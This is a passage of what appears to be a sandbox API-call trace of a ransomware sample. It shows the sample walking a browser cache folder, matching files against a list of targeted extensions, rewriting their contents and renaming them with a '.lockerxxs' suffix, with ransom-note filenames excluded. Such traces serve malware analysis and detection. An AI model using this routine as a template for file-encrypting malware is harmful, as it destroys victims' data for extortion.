HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.jpeg") returned 0 [0083.191] lstrlenA (lpString="*.jpeg") returned 6 [0083.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.jpg") returned 1 [0083.191] lstrlenA (lpString="*.jpg") returned 5 [0083.191] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg" [0083.191] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg" [0083.192] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg." [0083.192] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg.lockerxxs" [0083.192] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdwxoc[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.193] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2d04 [0083.193] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45a6bd70, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45a6bd70, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45a6bd70, dwHighDateTime=0x1d2faf3)) returned 1 [0083.193] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.193] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2cde, lpOverlapped=0x0) returned 1 [0083.196] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg") returned="BBDWXoC[1].jpg" [0083.196] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.196] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2cde, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2cde, lpOverlapped=0x0) returned 1 [0083.196] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.196] CloseHandle (hObject=0xa4) returned 1 [0083.197] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdwxoc[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdwxoc[1].jpg.lockerxxs")) returned 1 [0083.198] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458c8e50, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458c8e50, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x458c8e50, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBE3NcH[1].jpg", cAlternateFileName="BBE3NC~1.JPG")) returned 1 [0083.198] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.198] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBE3NcH[1].jpg") returned 1 [0083.198] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBE3NcH[1].jpg") returned 1 [0083.198] lstrcmpiA (lpString1="", lpString2="BBE3NcH[1].jpg") returned -1 [0083.198] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg") returned="BBDWXoC[1].jpg" [0083.198] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.198] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.198] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.198] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.198] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBE3NcH[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg" [0083.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.ems") returned 0 [0083.198] lstrlenA (lpString="*.ems") returned 5 [0083.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.db") returned 0 [0083.198] lstrlenA (lpString="*.db") returned 4 [0083.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.dbf") returned 0 [0083.198] lstrlenA (lpString="*.dbf") returned 5 [0083.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.myox") returned 0 [0083.199] lstrlenA (lpString="*.myox") returned 6 [0083.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.myo") returned 0 [0083.199] lstrlenA (lpString="*.myo") returned 5 [0083.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.qbw") returned 0 [0083.199] lstrlenA (lpString="*.qbw") returned 5 [0083.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.qbb") returned 0 [0083.199] lstrlenA (lpString="*.qbb") returned 5 [0083.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.qbm") returned 0 [0083.199] lstrlenA (lpString="*.qbm") returned 5 [0083.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.qbo") returned 0 [0083.199] lstrlenA (lpString="*.qbo") returned 5 [0083.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.qbx") returned 0 [0083.199] lstrlenA (lpString="*.qbx") returned 5 [0083.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.qba") returned 0 [0083.199] lstrlenA (lpString="*.qba") returned 5 [0083.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.qby") returned 0 [0083.199] lstrlenA (lpString="*.qby") returned 5 [0083.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.qbj") returned 0 [0083.199] lstrlenA (lpString="*.qbj") returned 5 [0083.199] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.ofx") returned 0 [0083.199] lstrlenA (lpString="*.ofx") returned 5 [0083.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.qif") returned 0 [0083.200] lstrlenA (lpString="*.qif") returned 5 [0083.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.mye") returned 0 [0083.200] lstrlenA (lpString="*.mye") returned 5 [0083.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.mbox") returned 0 [0083.200] lstrlenA (lpString="*.mbox") returned 6 [0083.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.eml") returned 0 [0083.200] lstrlenA (lpString="*.eml") returned 5 [0083.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.pst") returned 0 [0083.200] lstrlenA (lpString="*.pst") returned 5 [0083.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.ost") returned 0 [0083.200] lstrlenA (lpString="*.ost") returned 5 [0083.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.idx") returned 0 [0083.200] lstrlenA (lpString="*.idx") returned 5 [0083.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.dbx") returned 0 [0083.200] lstrlenA (lpString="*.dbx") returned 5 [0083.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.sql") returned 0 [0083.200] lstrlenA (lpString="*.sql") returned 5 [0083.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.mdb") returned 0 [0083.200] lstrlenA (lpString="*.mdb") returned 5 [0083.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.fdb") returned 0 [0083.200] lstrlenA (lpString="*.fdb") returned 5 [0083.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.wab") returned 0 [0083.201] lstrlenA (lpString="*.wab") returned 5 [0083.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.dat") returned 0 [0083.201] lstrlenA (lpString="*.dat") returned 5 [0083.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.txt") returned 0 [0083.201] lstrlenA (lpString="*.txt") returned 5 [0083.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.jpeg") returned 0 [0083.201] lstrlenA (lpString="*.jpeg") returned 6 [0083.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", pszSpec="*.jpg") returned 1 [0083.201] lstrlenA (lpString="*.jpg") returned 5 [0083.201] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg" [0083.201] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg" [0083.201] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg." [0083.201] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg.lockerxxs" [0083.201] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe3nch[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.202] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x863 [0083.202] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x458c8e50, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x458c8e50, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x458c8e50, dwHighDateTime=0x1d2faf3)) returned 1 [0083.202] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.202] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x83d, lpOverlapped=0x0) returned 1 [0083.204] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg") returned="BBE3NcH[1].jpg" [0083.204] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.204] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x83d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x83d, lpOverlapped=0x0) returned 1 [0083.204] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.205] CloseHandle (hObject=0xa4) returned 1 [0083.205] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe3nch[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbe3nch[1].jpg.lockerxxs")) returned 1 [0083.206] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459ad690, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459ad690, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x459ad690, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBE7GLE[1].png", cAlternateFileName="BBE7GL~1.PNG")) returned 1 [0083.206] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.206] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBE7GLE[1].png") returned 1 [0083.206] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBE7GLE[1].png") returned 1 [0083.206] lstrcmpiA (lpString1="", lpString2="BBE7GLE[1].png") returned -1 [0083.206] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBE3NcH[1].jpg") returned="BBE3NcH[1].jpg" [0083.206] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.206] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.206] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.206] 